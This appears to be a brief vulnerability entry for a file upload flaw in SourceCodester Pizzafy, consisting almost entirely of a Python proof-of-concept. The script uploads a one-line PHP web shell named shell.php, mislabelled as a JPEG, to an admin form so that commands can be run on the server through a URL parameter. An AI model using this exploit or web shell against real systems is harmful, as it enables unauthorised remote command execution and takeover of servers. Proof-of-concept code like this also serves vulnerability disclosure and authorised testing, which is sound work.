CVE-2026-7393 SourceCodester Pizzafy 文件上传漏洞

import requests # Target URL (example) target_url = "http://target.com/admin/admin_class_novo.php" # Prepare the malicious file payload files = { 'img': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'image/jpeg') } data = { 'save_menu': '1', # Other required parameters depending on the form } # Send the POST request to upload the file response = requests.post(target_url, files=files, data=data) if response.status_code == 200: print("File uploaded successfully.") # Check the response to find the file path or access the shell else: print("Upload failed.")